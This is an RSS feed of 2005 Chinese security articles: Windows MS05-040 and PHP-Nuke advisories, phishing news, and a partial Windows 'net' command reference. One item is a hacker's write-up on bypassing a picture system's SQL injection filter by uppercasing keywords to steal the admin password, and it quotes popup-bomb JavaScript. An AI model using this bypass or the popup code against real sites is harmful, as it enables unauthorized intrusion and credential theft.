<?xml version="1.0" encoding="utf-8" ?>
<rss version="2.0">
<channel>
	<title>ZoneIDC数据中心-文章系统</title>
	<description>纵横数据提供-海外主机海外空间海外服务器，美国空间美国主机美国服务器，香港主机香港空间香港服务器，新加坡主机，日本主机，海外服务器，台湾主机，游戏代理主机，海外空间租用美国空间租用海外空间租用海外空间租用美国空间租用加拿大空间租用香港空间租用，香港主机，抗攻击服务器，网站推广，游戏代理服务器，免备案主机，google左侧优化，网页设计，厦门网页设计厦门专业网页设计厦门网站建设厦门网站设计厦门网页设计专家，厦门网页厦门网站网页设计多媒体光盘制作网站建设，厦门网站设计公司，厦门网页设计公司厦门平面设计公司厦门多媒体设计平面设计，厦门光盘制作厦门网页网站vi设计，福建网页设计福建网站建设，webdesign，flash，zone，xiamen，xiamen design，design，photoshop，3dsmax，flash，dreamweaver，other，设计厦门，网页设计平面设计海外邮局，企业海外邮局海外邮局智能海外邮局企业邮局系统，海外邮局系统全球海外邮局海外邮局服务器海外邮局监控!</description>
	<link>http://www.zoneidc.com/Article/</link>
	<language>zh-cn</language>
	<generator>NBArticle</generator>
	<managingEditor></managingEditor>
	<item>
	<title>Win2000出现重大漏洞黑客可控制服务器</title>
	<link>http://www.zoneidc.com/Article/articleview/2005-8-13/article_view_1.htm</link>
	<description><![CDATA[&nbsp;&nbsp;&nbsp;天极网讯 8月12日，瑞星互联网攻防实验室向企业用户发出警告，Windows 2000及以上版本的系统出现一个重大漏洞，可能造成企业网络中的Windows服务器被黑客完全控制，进而威胁企业网络和整个互联网的安全。瑞星安全专家马杰说，尽管8月9日微软已经针对此漏洞发布了补丁(MS05-040)，但根据瑞星的调查，有很大一部分的企业没有及时安装补丁程序，甚至某些使用盗版软件的企业，根本没法打补丁。 
<P>　　马杰介绍，微软MS05-040漏洞利用了Windows系统电话服务(Telephony)中存在的一个缺陷，在Win2000系统中，黑客只要远程发送精心构造的数据包，就可以完全控制存在缺陷的电脑。由于目前的企业网络中，有很多装有win2000的电脑并默认开启了Telephony服务，因此遭受攻击的风险很大。 </P>
<P>由于Telephony服务是控制IP电话与传统电话网络连接的关键程序，那些使用了拨号上网、电脑上的传真服务、ISDN、IP电话服务的企业服务器都可能遭到黑客的匿名攻击。在Win2000/XP/2003中，黑客可以利用此漏洞把自己从普通电脑用户提升成系统管理员。</P>
<P align=center><BR>放火墙</P>
<P>　　瑞星安全专家警告使用Win2000及以上系统的企业和个人用户，必须立刻安装MS05-040补丁，如果由于盗版等原因无法正常安装补丁程序，可以采取以下措施暂时阻止黑客的攻击：禁用Telephony服务：单击“开始”—“控制面板”，双击“管理工具”—“服务”—“Telephony”，在启动类型列表中，单击“禁用”。（禁用Telephony服务之后，电脑的拨号上网、ISDN、传真服务、IP电话等功能不能使用）。在瑞星防火墙中添加新的规则，禁用以下端口：TCP 端口 135、139、445 和 593。</P>
<P>　　瑞星安全专家马杰表示 ，今年上半年以来，windows系统、IE和Firefox等主流浏览器等相继出现了许多漏洞，对于企业局域网用户造成了严重的安全风险。他建议广大企业用户，应该关注安全厂商发布的安全警告，还可以利用瑞星杀毒软件网络版所捆绑的“全网漏洞管理”软件对整个网络存在的漏洞进行扫描，并及时打好系统补丁。</P><!--NEWSZW_HZH_BEGIN-->…… [<a href="http://www.zoneidc.com/Article/articleview/2005-8-13/article_view_1.htm">点击查看详细</a>] ]]></description>
	<pubDate>Sat, 13 Aug 2005 -1:56:07 GMT</pubDate>
	<comments>http://www.zoneidc.com/Article/review.asp?articleid=1</comments>
	</item>

	<item>
	<title>钓鱼式攻击又添新花招,是贼是警上演无间道</title>
	<link>http://www.zoneidc.com/Article/articleview/2005-8-13/article_view_2.htm</link>
	<description><![CDATA[<P>钓鱼式欺诈攻击者已经增加了一种新的引诱人们进入其“圈套”的手段：那就是要求人们将他们的保密性资料传真给伪装的安全调查人员的电子邮件。 </P>
<P>　　据安全专业厂商Sophos公司于当地时间本周三表示，电脑黑客在一次新的欺诈攻击中发送了一份看来似乎是来自PayPal的电子邮件警告，并在这些电子邮件中称：有人企图重新设置收件人的密码，并且要求收件人参与这次调查。据Sophos公司表示，这些电子邮件直接将用户引向托管在一个网站上的一份微软Word文档中，并强烈要求他们下载这一表格、填写它，然后将它传真给一个免费号码。要求用户在这一表格上填写有关信用卡的资料。 </P>
<P>　　据Sophos公司的高级技术顾问格雷厄姆·克鲁利表示，攻击者利用的这种新策略的出现恰逢人们对要求他们填写个人机密资料的电子邮件越来越感到怀疑之际。据他表示，在过去的几天内，我们已经发现了一些利用这种新策略的企图，钓鱼式攻击者正在对那些已经对在网站上透露个人信息有了戒心的用户试用一种新技术，他们希望人们感觉到向对方发送传真会更安全一些。据克鲁利补充说，对这些钓鱼式欺诈攻击者来说，运用这种方法我认为似乎有点太愚昧了，因为警方能够很容易地就发现电话号码，但目前还不清楚的是：他们是否会迅速地获得一个免费电话号码，然后再很快地仍掉它，或者他们是否是使用假身份证购买的这一号码，要么就是已将电话转接到了美国之外的一部卫星电话上等。 </P>
<P>　　据克鲁利表示，由于用户对这种要求输入其个人保密资料的事情已经非常警惕了，所以像这种基于电子邮件的钓鱼式攻击对人们的影响可能会变得越来越小。钓鱼式攻击者最终将会看到他们的这些基于利用邮件诱惑人们、实现他们进行恶意攻击方面的努力将不会再起到多么大的作用。然而，克鲁利也表示，由于信息的获得是秘密进行的，因此，像特洛伊<A class=Channel_KeyLink href="http://77169.org/Article/Class1/Class21/Index.html"><FONT color=#000000>木马</FONT></A>和蠕虫等这样的<A class=Channel_KeyLink href="http://77169.org/Article/Class33/Class15/Index.html"><FONT color=#000000>病毒</FONT></A>仍然在变得更加流行。这是目前<A class=Channel_KeyLink href="http://77169.org/Article/Class33/Class15/Index.html"><FONT color=#000000>病毒</FONT></A>发展的趋势。</P>…… [<a href="http://www.zoneidc.com/Article/articleview/2005-8-13/article_view_2.htm">点击查看详细</a>] ]]></description>
	<pubDate>Sat, 13 Aug 2005 -1:54:56 GMT</pubDate>
	<comments>http://www.zoneidc.com/Article/review.asp?articleid=2</comments>
	</item>

	<item>
	<title>PHPNukeSQL_Debug调试信息泄露漏洞</title>
	<link>http://www.zoneidc.com/Article/articleview/2005-8-13/article_view_3.htm</link>
	<description><![CDATA[<P>针对程序: Francisco Burzi PHP-Nuke <BR>PHP-Nuke是一个网站创建和管理工具，它可以用很多数据库软件作为后端，比如MySQL、PostgreSQL、mSQL、Interbase、Sybase等。</P>
<P>PHP-Nuke在脚本中的调试信息处理存在问题，可以使远程攻击者得到数据库查询请求的一些敏感信息。</P>
<P>sql_layer.php脚本有一个调试功能可以被攻击者利用来获得所有PHP-Nuke的查询请求信息。对调试功能的访问并不只限于管理员。远程攻击者可能利用这个漏洞得到数据库相关的敏感信息并进一步攻击数据库所在的Web服务器。</P>
<P>解决方案: 如果您不能立刻安装补丁或者升级，NSFOCUS建议您采取以下措施以降低威胁：</P>
<P>* 关闭SQL调试功能。</P>
<P>厂商补丁：</P>
<P>Francisco Burzi<BR>---------------<BR>目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：</P>
<P><A href="http://www.phpnuke.org/"><FONT color=#000000>http://www.phpnuke.org</FONT></A><BR></P>…… [<a href="http://www.zoneidc.com/Article/articleview/2005-8-13/article_view_3.htm">点击查看详细</a>] ]]></description>
	<pubDate>Sat, 13 Aug 2005 -1:54:19 GMT</pubDate>
	<comments>http://www.zoneidc.com/Article/review.asp?articleid=3</comments>
	</item>

	<item>
	<title>轻轻绕过你的防线——霸道的柯南图片管理系统</title>
	<link>http://www.zoneidc.com/Article/articleview/2005-8-13/article_view_4.htm</link>
	<description><![CDATA[&nbsp;&nbsp;&nbsp;前些天在浏览某个站点的时候，一时手痒，在URL后面加了个“ and 1=2”意在看看这系统有没有SQL注射漏洞，哪晓得浏览器弹出两个对话框然后无限的弹出窗口。只得赶紧结束掉进程，郁闷，我用的TT浏览器，其他的窗口也给结束了，5555～～～<BR>真是岂有此理，注射你也不用这样子整我吧，我倒要看看你这程序有什么能耐。到底不敢再去试那个系统，就从其他地方下手得到了webshell，经过打探，原来那是一个叫做“柯南图片管理系统”的东东。<BR>晓得了牌子那就好办咯，网上Down一个，看看源代码先。<BR>它的view.asp里有这样的话：<BR>
<DIV class=code>&nbsp;if instr(id,"'") or instr(id,"select") or instr(id,"in") or instr(id,"from") or instr(id,"len") or instr(id,"where") or instr(id,"or") or instr(id,"and") then<BR>&nbsp;Response.Write("&lt;script language=javascript&gt;alert('你想做什么？');window.location.href='check.htm'&lt;/script&gt;")<BR>&nbsp;Response.End<BR>&nbsp;end if '在这里过滤TMD的不良字符 </DIV><BR>现在看看check.htm的内容：<BR>
<DIV class=code>&nbsp;&lt;script language=javascript&gt;<BR>alert("我Call！你想做什么？？？");<BR>for (i=1;i&lt;=10000000000;i++)<BR>&nbsp;{<BR>&nbsp;window.open("http://www.weihai365.com/xxg")<BR>&nbsp;}<BR>&lt;/script&gt; </DIV><BR>看看它的险恶用心吧，弹出两个对话框之后就会打开100亿个窗口，呵呵，爽不？<BR>当然不能拿给他白白欺负啊，我得突破它的SQL注射防御才行，呵呵，仔细分析原来他的防御方法只是形同虚设，我们只需变换一下字符就搞定。<BR>看他的判断语句，是用的instr函数判断的，如果发现and、or、select等关键字就转到check.htm。嗯，看看instr的函数的用法：<BR>InStr([start, ]string1, string2[, compare])<BR>有2个可选参数start和compare，问题恰恰出在compare这里。Compare为0执行执行二进制比较，为1执行执行文本比较。默认为0。简言之，compare为0的时候比较时是大小写敏感的。即instr(“ and 1=2”,”And”)等于0。<BR>那现在好办了，只需把它过滤了的关键字的一个字母改成大写，那么他那么长的过滤语句就等于只过滤“’”，无所谓啊，反正注射又用不到“’”。<BR>他的表名是admin，用户字段admin，密码字段password，慢慢手工猜吧，呵呵，好像没有工具可以用，现在知道会编程还是有用处的吧。当然啦，也可以用Union查询直接得到管理员密码，这个比猜解快多了，还是写个程序吧，更快（图1）。<BR><BR>
<DIV style="OVERFLOW-X: auto; WIDTH: 100%"><A href="http://www1.77169.org/Article/UploadFiles/200508/20050812223034339.jpg" target=_blank></A></DIV><BR>复制URL访问之，诶，不对，你先要把关键字转换一下，特别要注意password包含“or”，admin包含“in”，表说我没提醒你哦。<BR><BR>
<DIV style="OVERFLOW-X: auto; WIDTH: 100%"><A href="http://www1.77169.org/Article/UploadFiles/200508/20050812223034625.jpg" target=_blank></A></DIV><BR>呵呵，还是那句话：Enjoy Hacking！<BR>哦，最后说下如果要防御的话只需把参数compare设为1就ok。 …… [<a href="http://www.zoneidc.com/Article/articleview/2005-8-13/article_view_4.htm">点击查看详细</a>] ]]></description>
	<pubDate>Sat, 13 Aug 2005 -1:53:17 GMT</pubDate>
	<comments>http://www.zoneidc.com/Article/review.asp?articleid=4</comments>
	</item>

	<item>
	<title>net命令全集</title>
	<link>http://www.zoneidc.com/Article/articleview/2005-8-13/article_view_5.htm</link>
	<description><![CDATA[&nbsp;&nbsp;&nbsp;<SPAN style="FONT-SIZE: 9pt">许多 Windows NT 网络命令以 net 开始。这些 net 命令有一些公共属性： <BR>通过键入 net /? 可查阅所有可用的 net 命令。 <BR>通过键入 net help 命令可在命令行中获得 net 命令的语法帮助。例如，要得到 net acco<BR>unts 命令的帮助，请键入 net help accounts。 <BR>所有 net 命令接受选项 / yes 和 /no（可缩写为 / y 和 /n ）。/ y 对命令产生的任何交<BR>互提示自动回答“是”，/n 回答“否”。例如，net stop server 通常提示确认是否根据服<BR>务器服务结束所有服务，net stop server /y 自动回答“是”并关闭服务器服务。 <BR><BR>Net Accounts <BR><BR>更新用户帐号数据库、更改密码及所有帐号的登录要求。必须要在更改帐号参数的计算机上<BR>运行网络登录服务。 <BR>net accounts [/forcelogoff:{minutes | no}] [/minpwlen:length] [/maxpwage:{days |<BR>unlimited}] [/minpwage:days] [/uniquepw:number] [/domain] <BR>net accounts [/sync] [/domain] <BR>参数 <BR>无 <BR>键入不带参数的 net accounts，将显示当前密码设置、登录时限及域信息。 <BR>/forcelogoff:{minutes | no} <BR>设置当用户帐号或有效登录时间过期时，结束用户和服务器会话前的等待时间。no 选项禁止<BR>强行注销。该参数的默认设置为 no。 <BR>指定 /forcelogoff:minutes 之后，Windows NT 在其强制用户退出网络 minutes 分钟之前<BR>，将给用户发出警报。如果还有打开的文件，Windows NT 将警告用户。如果 minutes 小于<BR>两分钟，Windows NT 警告用户立即从网络注销。 <BR>/minpwlen:length <BR>设置用户帐号密码的最少字符数。允许范围是 0-14，默认值为 6。 <BR>/maxpwage:{days | unlimited} <BR>设置用户帐号密码有效的最大天数。unlimited 不设置最大天数。/maxpwage 选项的天数必<BR>须大于 /minpwage。允许范围是 1-49,710 天 (unlimited)。默认值为 90 天。 <BR>/minpwage:days <BR>设置用户必须保持原密码的最小天数。 0 值不设置最小时间。允许范围是 0-49,710 天，默<BR>认值为 0 天。 <BR>/uniquepw:number <BR>要求用户更改密码时，必须在经过 number 次后，才能重复使用与之相同的密码。允许范围<BR>是 0-8。默认值为 5。 <BR>/domain <BR>在当前域的主域控制器上执行该操作。否则只在本地计算机执行操作。 <BR>该参数仅用于 Windows NT Server 域中的 Windows NT Workstation 计算机，Windows NT <BR>Server 计算机默认为在主域控制器执行操作。 <BR>/sync <BR>当用于主域控制器时，该命令使域中所有备份域控制器同步；当用于备份域控制器时，该命<BR>令仅使该备份域控制器与主域控制器同步。该命令仅适用于 Windows NT Server 域成员的计<BR>算机。 <BR><BR>Net Computer <BR><BR>从域数据库中添加或删除计算机。该命令仅在运行 Windows NT Server 的计算机上可用。 <BR>net computer \computername {/add | /del} <BR>参数 <BR>\computername <BR>指定要添加到域或从域中删除的计算机。 <BR>/add <BR>将指定计算机添加到域。 <BR>/del <BR>将指定计算机从域中删除。 <BR><BR>Net Config <BR><BR>显示当前运行的可配置服务，或显示并更改某项服务的设置。 <BR>net config [service [options]] <BR>参数 <BR>无 <BR>键入不带参数的 net config 将显示可配置服务的列表。 <BR>service <BR>通过 net config 命令进行配置的服务（server 或 workstation）。 <BR>options <BR>服务的特定选项。完整语法请参阅 net config server 或 net config workstation。 <BR><BR>Net Config Server <BR><BR>运行服务时显示或更改服务器的服务设置。 <BR>net config server [/autodisconnect:time] [/srvcomment:"text "] [/hidden:{yes | n<BR>o}] <BR>参数 <BR>无 <BR>键入不带参数的 net config server，将显示服务器服务的当前配置。 <BR>/autodisconnect:time <BR>设置断开前用户会话闲置的最大时间值。可以指定 -1，表示永不断开连接。允许范围是 -1<BR>-65535 分钟，默认值是 15 分钟。 <BR>/srvcomment:"text " <BR>为服务器添加注释，可以通过 net view 命令在屏幕上显示所加注释。注释最多可达 48 个<BR>字符，文字要用引号引住。 <BR>/hidden:{yes | no} <BR>指定服务器的计算机名是否出现在服务器列表中。请注意隐含某个服务器并不改变该服务器<BR>的权限。默认为 no。 <BR><BR>Net Config Workstation <BR><BR>服务运行时，显示或更改工作站各项服务的设置。 <BR>net config workstation [/charcount:bytes] [/chartime:msec] [/charwait:sec] <BR>参数 <BR>无 <BR>键入不带参数的 net config workstation 将显示本地计算机的当前配置。 <BR>/charcount:bytes <BR>指定 Windows NT 在将数据发送到通讯设备之前收集的数据量。如果同时设置 /chartime:m<BR>sec 参数，Windows NT 按首先满足条件的选项运行。允许范围是 0-65535 字节，默认值是<BR>16 字节。 <BR>/chartime:msec <BR>指定 Windows NT 在将数据发送到通讯设备之前收集数据的时间。如果同时设置 /charcoun<BR>t:bytes 参数，Windows NT 按首先满足条件的选项运行。允许范围是 0-65535000 毫秒，默<BR>认值是 250 毫秒。 <BR>/charwait:sec <BR>设置 Windows NT 等待通讯设备变为可用的时间。允许的范围是 0-65535 秒，默认值是 36<BR>00 秒。 <BR><BR>Net Continue <BR><BR>重新激活挂起的服务。 <BR>net continue service <BR>参数 <BR>service <BR>能够继续运行的服务，包括： file server for macintosh（该服务仅限于 Windows NT Se<BR>rver）, ftp publishing service, lpdsvc, net logon, network dde，network dde dsdm<BR>，nt lm security support provider，remoteboot（该服务仅限于 Windows NT Server），<BR>remote access server, schedule，server，simple tcp/ip services 及 workstation 。<BR><BR><BR>Net File <BR><BR>显示某服务器上所有打开的共享文件名及锁定文件数。该命令也可以关闭个别文件并取消文 <BR>件锁定。 <BR>net file [id [/close]] <BR>参数 <BR>无 <BR>键入不带参数的 net file 可获得服务器上打开文件的列表。 <BR>id <BR>文件标识号。 <BR>/close <BR>关闭打开的文件并释放锁定记录。请从共享文件的服务器中键入该命令。 <BR><BR>Net Group <BR><BR>在 Windows NT Server 域中添加、显示或更改全局组。该命令仅在 Windows NT Server 域<BR>中可用。 <BR>net group [groupname [/comment:"text "]] [/domain] <BR>net group groupname {/add [/comment:"text "] | /delete} [/domain] <BR>net group groupname username [ ...] {/add | /delete} [/domain] <BR>参数 <BR>无 <BR>键入不带参数的 net group 可以显示服务器名称及服务器的组名称。 <BR>groupname <BR>要添加、扩展或删除的组。仅提供某个组名便可查看组中的用户列表。 <BR>/comment:"text " <BR>为新建组或现有组添加注释。注释最多可以是 48 个字符，并用引号将注释文字引住。 <BR>/domain <BR>在当前域的主域控制器中执行该操作，否则在本地计算机上执行操作。 <BR>该参数仅用于作为 Windows NT Server 域成员的 Windows NT Workstation 计算机。Windo<BR>ws NT Server 计算机默认为在主域控制器中操作。 <BR>username[ ...] <BR>列表显示要添加到组或从组中删除的一个或多个用户。使用空格分隔多个用户名称项。 <BR>/add <BR>添加组或在组中添加用户名。必须使用该命令为添加到组中的用户建立帐号。 <BR>/delete <BR>删除组或从组中删除用户名。 <BR><BR>Net Help <BR><BR>提供网络命令列表及帮助主题，或提供指定命令或主题的帮助。可用网络命令列于 N 下面的<BR>“命令参考”中“命令”窗口内。 <BR>net help [command] <BR>net command {/help | /?} <BR>参数 <BR>无 <BR>键入不带参数的 net help 显示能够获得帮助的命令列表和帮助主题。 <BR>command <BR>需要其帮助的命令，不要将 net 作为 command 的一部分。 <BR>/help <BR>提供显示帮助文本方式选择。 <BR>/? <BR>显示命令的正确语法。 <BR><BR>Net Helpmsg <BR><BR>提供 Windows NT 错误信息的帮助。 <BR>net helpmsg message# <BR>参数 <BR>message# <BR>需要其帮助的 Windows NT 消息的四位代码。 <BR><BR>Net Localgroup <BR><BR>添加、显示或更改本地组。 <BR>net localgroup [groupname [/comment:"text "]] [/domain] <BR>net localgroup groupname {/add [/comment:"text "] | /delete} [/domain] <BR>net localgroup groupname name [ ...] {/add | /delete} [/domain] <BR>参数 <BR>无 <BR>键入不带参数的 net localgroup 将显示服务器名称和计算机的本地组名称。 <BR>groupname <BR>要添加、扩充或删除的本地组名称。只提供 groupname 即可查看用户列表或本地组中的全局<BR>组。 <BR>/comment: "text " <BR>为新建或现有组添加注释。注释文字的最大长度是 48 个字符，并用引号引住。 <BR>/domain <BR>在当前域的主域控制器中执行操作，否则仅在本地计算机上执行操作。 <BR>该参数仅应用于 Windows NT Server 域中的 Windows NT Workstation 计算机。Windows N<BR>T Server 计算机默认为在主域控制器中操作。 <BR>name [ ...] <BR>列出要添加到本地组或从本地组中删除的一个或多个用户名或组名，多个用户名或组名之间<BR>以空格分隔。可以是本地用户、其他域用户或全局组，但不能是其他本地组。如果是其他域 <BR>的用户，要在用户名前加域名（例如，SALESRALPHR）。 <BR>/add <BR>将全局组名或用户名添加到本地组中。在使用该命令将用户或全局组添加到本地组之前，必<BR>须为其建立帐号。 <BR>/delete <BR>从本地组中删除组名或用户名。 <BR><BR>Net Name <BR><BR>添加或删除消息名（有时也称别名），或显示计算机接收消息的名称列表。要使用 net nam<BR>e 命令，计算机中必须运行信使服务。 <BR>net name [name [/add | /delete]] <BR>参数 <BR>无 <BR>键入不带参数的 net name 将列出当前使用的名称。 <BR>name <BR>指定接收消息的名称。名称最多为 15 个字符。 <BR>/add <BR>将名称添加到计算机中。 /add 是可选项，键入 net name name 与键入 net name name /a<BR>dd 相同。 <BR>/delete <BR>从计算机中删除名称。 <BR><BR>Net Pause <BR><BR>暂停正在运行的服务。 <BR>net pause service <BR>参数 <BR>service <BR>指下列服务： file server for macintosh（仅限于 Windows NT Server）、ftp publishi<BR>ng service、lpdsvc、net logon、network dde、network dde dsdm、nt lm security sup<BR>port provider、remoteboot（仅限于 Windows NT Server）、remote access server、sch<BR>edule、server、simple tcp/ip services 或 workstation 。 <BR><BR>Net Print <BR><BR>显示或控制打印作业及打印队列。 <BR>net print \computername sharename <BR>net print [\computername ] job# [/hold | /release | /delete] <BR>参数 <BR>computername <BR>共享打印机队列的计算机名。 <BR>sharename <BR>打印队列名称。当包含 computername 与 sharename 时，使用反斜杠 () 将它们分开。 <BR>job# <BR>在打印机队列中分配给打印作业的标识号。有一个或多个打印机队列的计算机为每个打印作<BR>业分配唯一标识号。如果某个作业号用于共享打印机队列中，则不能指定给其他作业，也不<BR>能分配给其他打印机队列中的作业。 <BR>/hold <BR>使用 job# 时，在打印机队列中使打印作业等待。打印作业停留在打印机队列中，并且其他<BR>打印作业只能等到释放该作业之后才能进入。 <BR>/release <BR>释放保留的打印作业。 <BR>/delete <BR>从打印机队列中删除打印作业。 <BR><BR>Net Send <BR><BR>向网络的其他用户、计算机或通信名发送消息。要接收消息必须运行信使服务。 <BR>net send {name | * | /domain[:name] | /users} message <BR>参数 <BR>name <BR>要接收发送消息的用户名、计算机名或通信名。如果计算机名包含空字符，则要将其用引号<BR>(" ") 引住。 <BR>* <BR>将消息发送到组中所有名称。 <BR>/domain[:name] <BR>将消息发送到计算机域中的所有名称。如果指定 name，则消息将发送到指定域或组中的所有<BR>名称。 <BR>/users <BR>将消息发送到与服务器连接的所有用户。 <BR>message <BR>作为消息发送的文本。 <BR><BR>Net Session <BR><BR>列出或断开本地计算机和与之连接的客户端的会话。 <BR>net session [\computername] [/delete] <BR>参数 <BR>无 <BR>键入不带参数的 net session 可以显示所有与本地计算机的会话的信息。 <BR>\computername <BR>标识要列出或断开会话的计算机。 <BR>/delete <BR>结束与 \computername 计算机会话并关闭本次会话期间计算机的所有打开文件。如果省略 <BR>\computername 参数，将取消与本地计算机的所有会话。 <BR><BR>Net Share <BR><BR>创建、删除或显示共享资源。 <BR>net share sharename <BR>net share sharename=drive:path [/users:number | /unlimited] [/remark:"text"] <BR>net share sharename [/users:number | unlimited] [/remark:"text"] <BR>net share {sharename | drive:path} /delete <BR>参数 <BR>无 <BR>键入不带参数的 net share 将显示本地计算机上所有共享资源的信息。 <BR>sharename <BR>是共享资源的网络名称。键入带 sharename 的 net share 命令，只显示该共享信息。 <BR>drive:path <BR>指定共享目录的绝对路径。 <BR>/users:number <BR>设置可同时访问共享资源的最大用户数。 <BR>/unlimited <BR>不限制同时访问共享资源的用户数。 <BR>/remark:"text " <BR>添加关于资源的注释，注释文字用引号引住。 <BR>/delete <BR>停止共享资源。 <BR><BR>Net Start <BR><BR>启动服务，或显示已启动服务的列表。如果服务名是两个或两个以上的词，如 Net Logon 或<BR>Computer Browser，则必须用引号 (") 引住。. <BR>net start [service] <BR>参数 <BR>无 <BR>键入不带参数的 net start 则显示运行服务的列表。 <BR>service <BR>包括下列服务： alerter、client service for netware、clipbook server、computer br<BR>owser、dhcp client 、directory replicator 、eventlog 、ftp publishing service 、<BR>lpdsvc、messenger 、net logon 、network dde 、network dde dsdm 、network monitor<BR>ing agent 、nt lm security support provider 、ole 、remote access connection man<BR>ager 、remote access isnsap service 、remote access server 、remote procedure ca<BR>ll (rpc) locator 、remote procedure call (rpc) service 、schedule 、server 、sim<BR>ple tcp/ip services 、snmp、spooler 、tcp/ip netbios helper 、ups 及 workstation<BR>。 <BR>下列服务仅在 Windows NT Server 下可用：file server for macintosh、gateway servic<BR>e for netware、microsoft dhcp server、print server for macintosh、remoteboot、wi<BR>ndows internet name service 。 <BR><BR>Net Statistics <BR><BR>显示本地工作站或服务器服务的统计记录。 <BR>net statistics [workstation | server] <BR>参数 <BR>无 <BR>键入不带参数的 net statistics 将列出其统计信息可用的运行服务。 <BR>workstation <BR>显示本地工作站服务的统计信息。 <BR>server <BR>显示本地服务器服务的统计信息。 <BR><BR>Net Stop <BR><BR>停止 Windows NT 网络服务。 <BR>net stop service <BR>参数 <BR>service <BR>包括下列服务： alerter（警报）、client service for netware（Netware 客户端服务）<BR>、clipbook server（剪贴簿服务器）、computer browser（计算机浏览器）、directory r<BR>eplicator（目录复制器）、ftp publishing service (ftp )（ftp 发行服务）、lpdsvc、<BR>messenger（信使）、net logon（网络登录）、network dde（网络 dde）、network dde d<BR>sdm（网络 dde dsdm）、network monitor agent（网络监控代理）、nt lm security supp<BR>ort provider（NT LM 安全性支持提供）、ole（对象链接与嵌入）、remote access conne<BR>ction manager（远程访问连接管理器）、remote access isnsap service（远程访问 isns<BR>ap 服务）、remote access server（远程访问服务器）、remote procedure call (rpc) l<BR>ocator（远程过程调用定位器）、remote procedure call (rpc) service（远程过程调用服<BR>务）、schedule（调度）、server（服务器）、simple tcp/ip services（简单 TCP/IP 服<BR>务）、snmp、spooler（后台打印程序）、tcp/ip netbios helper（TCP/IP NETBIOS 辅助工<BR>具）、ups 及 workstation（工作站）。 <BR>下列服务仅在 Windows NT Server 中可用： file server for macintosh、gateway servi<BR>ce for netware、microsoft dhcp server、print server for macintosh、remoteboot、w<BR>indows internet name service。 <BR><BR>Net Time <BR><BR>使计算机的时钟与另一台计算机或域的时间同步。不带 /set 参数使用时，将显示另一台计<BR>算机或域的时间。 <BR>net time [\computername | /domain[:name]] [/set] <BR>参数 <BR>\computername <BR>要检查或同步的服务器名。 <BR>/domain[:name] <BR>指定要与其时间同步的域。 <BR>/set <BR>使本计算机时钟与指定计算机或域的时钟同步。 <BR><BR>Net Use <BR><BR>连接计算机或断开计算机与共享资源的连接，或显示计算机的连接信息。该命令也控制永久 <BR>网络连接。 <BR>net use [devicename | *] [\computernamesharename[volume]] [password | *]] [/user<BR>:[domainname]username] [[/delete] | [/persistent:{yes | no}]] <BR>net use devicename [/home[password | *]] [/delete:{yes | no}] <BR>net use [/persistent:{yes | no}] <BR>参数 <BR>无 <BR>键入不带参数的 net use 将列出网络连接。 <BR>devicename <BR>指定要连接到的资源名称或要断开的设备名称。有两类设备名：磁盘驱动器（D: 到 Z:）和<BR>打印机（LPT1: 到 LPT3）。若键入星号而不是指定设备名将分配下一个可用设备名。 <BR>\computernamesharename <BR>服务器及共享资源的名称。如果计算机名包含空白字符，要用引号 (" ") 将双反斜线及计算<BR>机名引住。计算机名长度可以是 1-15 个字符。 <BR>volume <BR>指定服务器上的 NetWare 卷。要连接到 NetWare 服务器，必须安装并运行 NetWare 客户机<BR>服务 (Windows NT Workstation) 或 NetWare 网关服务 (Windows NT Server)。 <BR>password <BR>访问共享资源的密码。 <BR>* <BR>提示键入密码。在密码提示行中键入密码时，将不显示该密码。 <BR>/user <BR>指定进行连接的另外一个用户。 <BR>domainname <BR>指定另一个域。例如 net use d: \servershare /user:adminmariel 连接用户 mariel，如<BR>同从 admin 域连接一样。如果省略域，将使用当前登录域。 <BR>username <BR>指定登录的用户名。 <BR>/home <BR>将用户连接到其宿主目录。 <BR>/delete <BR>取消指定网络连接。如果用户以星号指定连接，则取消所有网络连接。 <BR>/persistent <BR>控制永久网络连接的使用。默认为上次使用的设置。无设备的连接不是永久的。 <BR>yes <BR>保存建立的所有连接，并在下次登录时还原。 <BR>no <BR>不保存建立的连接和继发连接，并在下次登录时还原现有连接。使用 /delete 开关项取消永<BR>久连接。 <BR><BR>Net User <BR><BR>添加或更改用户帐号或显示用户帐号信息。 <BR>net user [username [password | *] [options]] [/domain] <BR>net user username {password | *} /add [options] [/domain] <BR>net user username [/delete] [/domain] <BR>参数 <BR>无 <BR>键入不带参数的 net user 将查看计算机上的用户帐号列表。 <BR>username <BR>添加、删除、更改或查看用户帐号名。用户帐号名最多可以有 20 个字符。 <BR>password <BR>为用户帐号分配或更改密码。密码必须满足在 net accounts 命令 /minpwlen 选项中设置的<BR>最小参数。最多是 14 个字符。 <BR>* <BR>提示输入密码。在密码提示行中键入密码时，将不显示该密码。 <BR>/domain <BR>在计算机主域的主域控制器中执行操作。 <BR>该参数仅在 Windows NT Server 域成员的 Windows NT Workstation 计算机上可用。默认情<BR>况下，Windows NT Server 计算机在主域控制器中执行操作。 <BR>注意：在计算机主域的主域控制器发生该动作。它可能不是登录域。 <BR>/add <BR>将用户帐号添加到用户帐号数据库。 <BR>/delete <BR>从用户帐号数据库中删除用户帐号。 <BR>选项如下所示： <BR>/active:{no | yes} <BR>启用或禁止用户帐号。如果不激活用户帐号，用户就不能访问计算机上的资源。默认值是 y<BR>es （激活）。 <BR>/comment:"text" <BR>提供用户帐号的注释。该注释最多可以有 48 个字符，文字用引号引住。 <BR>/countrycode:nnn <BR>使用操作系统的国家代码以便为用户帮助和错误信息文件提供指定语言文件。0 值表示默认<BR>国家代码。 <BR>/expires:{date | never} <BR>如果设置 date，将导致用户帐号过期，never 不对用户帐号设置时间限制。过期日期根据 <BR>/countrycode 值可以是下列格式： mm/dd/yy、dd/mm/yy 或 mmm, dd, yy。注意帐号在指定<BR>日期开始时过期。月份可以是数字、全名或三个字母的简拼。年可以是两位或四位数，使用<BR>逗号或斜线（不要用空格） 区分日期的各部分。如果省略 yy ，则使用该日期下一次到来的 <BR>年份（根据计算机的时钟）。例如如果在 1994 年 1 月 10 日到 1995 年 1 月 8 日之间输<BR>入下列日期项，那它们相同：jan,9 <BR>1/9/95 <BR>january,9,1995 <BR>1/9 <BR>/fullname:"name" <BR>指定用户全名而不是用户名。用引号将名字引住。 <BR>/homedir:path <BR>设置用户宿主目录的路径。该路径必须存在。 <BR>/homedirreq:{yes | no} <BR>设置是否需要宿主目录。 <BR>/passwordchg:{yes | no} <BR>指定用户是否能改变自己的密码。默认值是 yes。 